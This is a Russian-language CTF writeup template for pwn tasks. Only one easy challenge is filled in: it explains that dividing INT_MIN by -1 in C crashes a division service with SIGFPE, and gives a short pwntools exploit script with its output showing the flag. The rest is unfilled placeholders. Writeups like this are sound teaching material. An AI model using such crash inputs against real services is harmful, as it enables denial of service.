# CTF Code

Writeups

# PWN

29 сентября 2021 г.

## Оглавление

Easy		
1 2	Crash me	1
	<Название>	. 2
Mediu		3
1	<Название>	3
2	<Название>	3
Hard		4
1	<Название>	4
2	< Название >	4

### Easy

#### 1 Crash me

Теги: С, baby

```
<условие задачи>
```

Нам дается бинарь и порт для подключения. Толком анализировать его бессмысленно, по ассемблерному листингу понятно, что он принимает на вход два числа a и b типа int, после чего проверяет, что b не 0 и вычисляет их частное  $\frac{a}{b}$ . Собственно говоря, задача на Undefined Behavior (иногда можно встретить аббревиатуру UB) в C/C++. Если в этих языках поделить INT\_MIN на -1, то результат не влезет в тип int и произойдет SIGFPE (Fatal Arithmetic Error). Так как наша задача просто положить бинарь - это идеальный для нас вариант. Напишем сплойт (хотя в данной задаче проще руками, но для того, чтобы райтап выглядел более-менее равномерно будет приведен сплойт):

```
Листинг 1: Вызываем SIGFPE
```

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

context(os='linux', arch='amd64')

BINARY = './problem'
REMOTE = True
INT_MIN = 0x80000000

def exploit():
    if REMOTE:
        r = remote('127.0.0.1', 1337)
    else:
        r = process(BINARY)

    r.sendline(str(INT_MIN))
```

#### Easy

```
r.sendline(str(-1))
r.interactive()

if __name__ == '__main__':
exploit()
```

И получаем флаг:

```
[anykeyshik@Irisu easy1]$ ./sploit.py
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] Switching to interactive mode
Give me A and B and I'll give you A/B
If you crush me, my master give you flag
Wow, you've crushed this
oren_ctf_CVE!
[*] Got EOF while reading in interactive
```

Рис. 1: Вот бы всегда так

#### 2 <Название>

Теги: <Теги>

<условие задачи>

## Medium

## 1 <Название>

**Теги:** <Теги>

<условие задачи>

### 2 <Название>

**Теги:** <Теги>

<условие задачи>

## Hard

## 1 <Название>

**Теги:** <Теги>

<условие задачи>

### 2 <Название>

**Теги:** <Теги>

<условие задачи>